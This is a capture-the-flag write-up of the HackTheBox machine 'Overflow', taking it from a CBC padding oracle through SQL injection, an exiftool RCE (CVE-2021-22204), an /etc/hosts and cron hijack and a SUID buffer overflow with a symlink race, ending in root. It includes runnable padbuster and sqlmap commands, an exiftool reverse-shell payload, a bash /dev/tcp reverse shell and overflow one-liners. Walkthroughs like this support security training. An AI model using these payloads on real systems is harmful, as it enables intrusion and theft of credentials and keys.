Overflow
Box Info
Platform: HackTheBox, OS: Linux (Ubuntu 20.04), Difficulty: Hard, Released: 2022-04-09, IP: 10.10.11.119 , overflow.htb
Attack Path
- The
authcookie is AES-CBC with a padding oracle (“Invalid padding” on tamper).padbusterdecrypts it (user=<name>) and re-encryptsuser=admin. Now admin. - Admin unlocks
home/logs.php?name=, which is SQL injectable. sqlmap dumpscmsmsdb.cms_users. CMS Made Simple salts with asitemaskfromcms_siteprefs, sohashcat -m 20cracks theeditorpasswordalpha!@#$%bravo. - CMS Made Simple 2.2.14. A second vhost,
devbuild-job.overflow.htb, has a resume upload that runs exiftool 11.92, vulnerable to CVE-2021-22204 (DjVu metadata command injection). RCE aswww-data. /var/www/html/config/db.php(and two other apps) leakdeveloper : sh@tim@n.su developer.developeris in thenetworkgroup and can edit/etc/hosts. A minutely root-ish job runsbash < <(curl -s http://taskmanage.overflow.htb/task.sh). Point that host at your box, serve a reverse shell, gettester./opt/file_encrypt/file_encryptis SUID root: a predictable PIN, ascanf("%s")stack overflow (ret2libc / return toencrypt()), and a TOCTOU on the input file. Race a symlink to/root/.ssh/id_rsa, decrypt the output,ssh root@overflow.htb.
Credentials and Flags
| Where | Value |
|---|---|
CMS editor (cracked, -m 20) | alpha!@#$%bravo |
db.php , developer | sh@tim@n |
user.txt | /home/tester/user.txt |
root.txt | /root/root.txt |
Overview
Overflow is a tour of six different vulnerability classes, one per stage: a CBC padding oracle, a SQL injection, a command injection through exiftool, password reuse, a /etc/hosts plus cron trick, and finally a SUID binary that combines a predictable PRNG, a classic stack buffer overflow, and a TOCTOU race. It is a hard box that rewards patience and good notes more than any single deep skill. The most transferable piece is the padding oracle: any time a site returns a distinguishable error for “bad padding” vs “bad data” on an encrypted token, padbuster turns that into full decrypt and encrypt of arbitrary plaintext with no key.
Related crypto oracle boxes: rare, this is the reference. Related exiftool CVE-2021-22204: Interface is a different exiftool bug (arithmetic injection), same “metadata is code” lesson. Related /etc/hosts plus cron: Inject, mkingdom. Related SUID buffer overflow: Ouija, and pwn practice rooms in Notes/.
Full Walkthrough
Recon
Open 10.10.11.119:22
Open 10.10.11.119:25 # Postfix
Open 10.10.11.119:80 # Apache, custom PHP app
Registering issues an auth cookie:
Cookie: auth=1yVVTfrGLUIhwahmfc8ZQrmXFCSBiFUDURL-decoded and base64-decoded, it is a multiple of 8 bytes, and tampering with it returns an “Invalid padding” style error while a well-formed-but-wrong value returns something else. That is a padding oracle, and it’s the kind of detail that’s easy to walk right past if you don’t habitually diff the error page for a mangled token against the error page for a merely-wrong one.
Stage 1, CBC padding oracle to admin
What a padding oracle gives you
CBC decryption fails in two distinguishable ways: the PKCS#7 padding is wrong (server says “invalid padding”) or the padding is fine but the plaintext is garbage (server says something else). padbuster uses that one bit per request to recover the intermediate state of each block, which lets it decrypt the cookie and, with -plaintext, encrypt any value you want, all without the key. The cookie here is user=<username>; change it to user=admin.
# decrypt
padbuster http://10.10.11.119/ '<url-decoded auth cookie>' 8 \
-cookie 'auth=<url-decoded auth cookie>'
# choose the response id that corresponds to the error, output: user=0xdf
# forge
padbuster http://10.10.11.119/ '<cookie>' 8 -cookie 'auth=<cookie>' -plaintext 'user=admin'
# -> BAitGdYuupMjA3gl1aFoOwAAAAAAAAAASet that as auth and the admin menu appears, no key ever required.
Stage 2, SQLi in the logs panel
With admin access unlocked, I walk every menu item that only shows up for that role, since role-gated pages are exactly where a developer assumes “only admins reach this, so it doesn’t need sanitizing.” Admin adds a “Logs” link: http://overflow.htb/home/logs.php?name=admin.
curl "http://overflow.htb/home/logs.php?name=admin')" # 500 -> injectable
sqlmap -r logs.req -p name --batch --dbs
# databases: logs, cmsmsdb, Overflow
sqlmap -r logs.req -p name --batch -D cmsmsdb -T cms_users --dump
sqlmap -r logs.req -p name --batch -D cmsmsdb -T cms_siteprefs --dump # sitemaskCracking CMS Made Simple hashes
CMS Made Simple stores md5(sitemask . password), where sitemask is a per-install string in cms_siteprefs. That is hashcat mode 20 (md5($salt.$pass)), fed as <hash>:<sitemask>. The editor account cracks to alpha!@#$%bravo. The admin hash does not crack, editor is enough.
Stage 3, exiftool RCE (CVE-2021-22204)
Cracked credentials in hand, I go looking for what else editor unlocks rather than stopping at the CMS itself. editor logs into CMS Made Simple 2.2.14. “User Defined Tags” and config hint at another vhost: devbuild-job.overflow.htb, a job application site. Log in there with the editor creds and use the resume upload (accepts TIFF/JPEG).
CVE-2021-22204
exiftool <= 12.23 mishandles DjVu annotations: a (metadata "\c${...}") block is passed to Perl eval. If the target processes an uploaded image with a vulnerable exiftool (here 11.92), you get code execution as the web user. Build the payload with bzz + djvumake, then embed it in a JPEG via a chained tag (-HasselbladExif<=exploit.djvu). Public PoC: convisoappsec/CVE-2021-22204-exiftool.
payload = b"(metadata \"\\c${use MIME::Base64;eval(decode_base64('"
payload += base64.b64encode(b"use Socket;...exec('/bin/sh -i');")
payload += b"'))};\")"
# bzz payload payload.bzz ; djvumake exploit.djvu INFO=1,1 BGjp=/dev/null ANTz=payload.bzz
# exiftool -HasselbladExif<=exploit.djvu image.jpg -> upload image.jpgShell as www-data.
Stage 4, www-data to developer
With a foothold landed, the next habit is always the same: grep every config file the web app ships for database creds, since they’re frequently reused for a real system account.
// /var/www/html/config/db.php (same creds in two other app configs)
$user = 'developer';
$pass = 'sh@tim@n';su developer # sh@tim@nStage 5, developer to tester
As developer, id shows membership in the network group, which is unusual enough to chase down immediately, and pspy (always one of the first binaries I drop on a box once I have a shell that isn’t www-data) confirms why it matters. developer is in the network group, which owns /etc/hosts. pspy shows /opt/commontask.sh running every minute:
bash < <(curl -s http://taskmanage.overflow.htb/task.sh)Rewrite the DNS, serve the script
The cron fetches task.sh from taskmanage.overflow.htb and pipes it to bash. developer can edit /etc/hosts, so point that name at your box and host a reverse shell as task.sh.
echo "10.10.14.6 taskmanage.overflow.htb" >> /etc/hosts
echo 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1' > task.sh
python3 -m http.server 80
# wait ~1 min -> shell as testeruser.txt is in /home/tester.
Stage 6, SUID file_encrypt to root
Standard SUID sweep as tester turns up the last binary: find / -perm -4000 2>/dev/null flags /opt/file_encrypt/file_encrypt. /opt/file_encrypt/file_encrypt is SUID root, 32-bit. Three bugs stacked:
The PIN, the overflow, the race
- Predictable PIN.
check_pin()seeds nothing, sorand()returns the well-known first value1804289383, and the custom mixer is deterministic. Compute the expected PIN offline:
x = 0x6b8b4567
for _ in range(10): x = ((x * 0x59) + 0x14) % 2**32
pin = x ^ 1804289383 # feed this (signed) value- Stack overflow. After the PIN,
scanf("%s", name)reads into a 20-byte buffer. Offset to saved EIP is 44. PIE is off on the server, so return toencrypt()(p encryptin gdb) with an all-ASCII address to re-run the encrypt routine on your chosen file.
python3 -c 'print("<pin>\n" + "A"*44 + "\x5b\x58\x55\x56")' | ./file_encrypt- TOCTOU. The binary
stats the input path, rejects it ifst_uid == 0, thensleep(3), thenfopens it. Race a symlink so thestatsees a file you own and thefopensees/root/.ssh/id_rsa:
# shell A
while :; do ln -sf /home/tester/mine l; sleep 3; ln -sf /root/.ssh/id_rsa l; sleep 3; done
# shell B
python3 sploit.py /tmp/l /tmp/out | ./file_encryptThe output is XOR-encrypted with a fixed key (0x9b); decrypt it:
print(bytes(b ^ 0x9b for b in open('/tmp/out','rb').read()).decode())Recover /root/.ssh/id_rsa, then:
ssh -i root_id_rsa root@overflow.htb
cat /root/root.txtLoot
| Flag | Location |
|---|---|
user.txt | /home/tester/user.txt |
root.txt | /root/root.txt |
Lessons and Takeaways
- Encrypted tokens need a MAC (encrypt-then-MAC). Unauthenticated CBC plus a distinguishable padding error is total token forgery. Use
AES-GCMor a signed cookie. - Parameterise queries, even in an “admin only” panel.
- Patch exiftool and never run it on untrusted uploads without a sandbox. Metadata is attacker code.
/etc/hostswrite plus a cron that curls a hostname is RCE. Restrict who can edithosts, and pin the cron to an IP with integrity checks.- SUID C with
scanf("%s"), unseededrand(), and check-then-use file handling is three findings in one binary. Compile with stack protector, PIE, FORTIFY, and useopenat/fstaton the same fd.
Related Writeups
- exiftool metadata injection: Interface
/etc/hostsplus cron / task fetch: Inject, mkingdom- SUID / buffer overflow to root: Ouija, and the pwn notes in
Notes/ - Password reuse from a config file: Bolt, Magic, Previse
References
- HTB Overflow (0xdf) https://0xdf.gitlab.io/2022/04/09/htb-overflow.html
- HTB Overflow (fdlucifer) https://fdlucifer.github.io/2022/03/11/overflow/
- padbuster https://github.com/AonCyberLabs/PadBuster
- CVE-2021-22204 PoC https://github.com/convisoappsec/CVE-2021-22204-exiftool
- Final privilege escalation steps cross-referenced against public writeups for this box.